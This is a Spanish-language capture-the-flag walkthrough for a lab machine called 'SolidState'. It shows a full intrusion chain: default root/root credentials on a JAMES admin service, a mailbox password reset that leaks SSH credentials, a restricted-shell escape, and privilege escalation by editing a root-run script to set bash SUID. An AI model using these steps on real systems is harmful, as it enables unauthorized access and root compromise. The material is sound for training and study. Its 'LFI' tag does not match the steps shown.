SolidState

Linux
Medium
Tags: #LFI

Enum

1. Conectividad con la máquina.

```
❯ ping -c 1 10.10.10.51
PING 10.10.10.51 (10.10.10.51) 56(84) bytes of data.
64 bytes from 10.10.10.51: icmp_seq=1 ttl=63 time=110 ms

--- 10.10.10.51 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 109.831/109.831/109.831/0.000 ms
```

Vemos que tenemos conectividad con la máquina.

2. Reconocimiento de puertos.

```
❯ sudo nmap -p- -sCV -sS -T5 --min-rate 5000 -n -Pn -vvv 10.10.10.51
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u1
(protocol 2.0)
25/tcp   open  smtp    syn-ack ttl 63 JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.11
[10.10.14.11])
```

```
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
110/tcp  open  pop3    syn-ack ttl 63 JAMES pop3d 2.3.2
119/tcp  open  nntp    syn-ack ttl 63 JAMES nntpd (posting ok)
4555/tcp open  rsip?   syn-ack ttl 63
| fingerprint-strings:
|   GenericLines:
|     JAMES Remote Administration Tool 2.3.2
|     Please enter your login and password
|     Login id:
|     Password:
|     Login failed for
|_    Login id:
```

Podemos ver una lista de puertos interesantes con los que vamos a tratar...

3. Puerto 4555

```
❯ nc 10.10.10.51 4555
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
```

Podemos ver que con unas credenciales por defecto hemos podido accededer a esta herramienta.

```
setpassword mindy mindy123
Password for mindy reset
```

Cambiamos las credenciales de acceso a mindy...

```
❯ telnet 10.10.10.51 110
USER mindy
+OK
PASS mindy123
+OK Welcome mindy
```

```
RETR 2
Here are your ssh credentials to access the system. Remember to reset your
password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to
add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@
```

Accedemos como mindy y accedemos a su segundo correo de su bandeja de entrada.

```
mindy
P@55W0rd1!2@
```

Vemos que tenemos unas credenciales de acceso por ssh

```
❯ ssh mindy@10.10.10.51
mindy@solidstate:~$ cat user.txt
4ada259a33c9d510591020a2186e1448
```

Podemos obtener la user flag nada más entrar.

Ataque

```
❯ sshpass -p 'P@55W0rd1!2@' ssh mindy@10.10.10.51 bash
whoami
mindy
```

Podemos saltarnos la restricted bash de esta forma...

```
❯ sshpass -p 'P@55W0rd1!2@' ssh mindy@10.10.10.51 bash
script /dev/null -c bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```

Vemos que tenemos una consola interactiva...

```
❯ ssh mindy@10.10.10.51 bash
script /dev/null -c bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ^Z
❯ stty raw -echo; fg
                          reset xterm
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ export TERM=xterm
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ export SHELL=/bin/bash
```

Tratamiento de tty

Escalada

```
nano /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
```

```
except:
     sys.exit()
```

Cambiamos el script y lo hacemos así...

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/dev/shm$ bash -p
bash-4.4# cat /root/root.txt
3800be6455a0a6e40c41fbc84dd4a178
```

Obtenemos la root flag!